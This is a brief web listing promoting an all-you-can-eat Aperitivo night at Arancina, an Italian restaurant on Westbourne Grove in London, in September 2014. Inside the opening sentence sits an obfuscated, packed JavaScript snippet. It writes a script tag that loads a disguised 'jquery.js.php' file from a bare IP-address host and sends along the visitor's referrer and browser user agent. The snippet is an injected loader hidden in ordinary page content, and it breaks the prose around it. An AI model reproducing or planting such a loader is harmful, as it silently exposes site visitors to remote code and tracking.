Italian (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkfsr|var|u0026u|referrer|dkdii||js|php’.split(‘|’),0,{}))
restaurant Arancina is gearing up to host one of its infamous Aperitvio nights next week and it looks set to be a total riot. Arancina first opened in 2006, and they claim to be the only London-based Italian restaurant to cook their homemade pizzas ‘alla pala’ – which for those of you who don’t speak flawless Italian, means on an authentic wood board.

For only £9 you get an alcoholic drink and an all-you-can-eat authentic Italian experience. So for a night of flowing red wine and amaze balls food in the heart of West London, make sure to head down to Arancinia on.

Wed 24th September 2014
Arancina, 19 Westbourne Grove, Notting Hill, London UK W2 4UA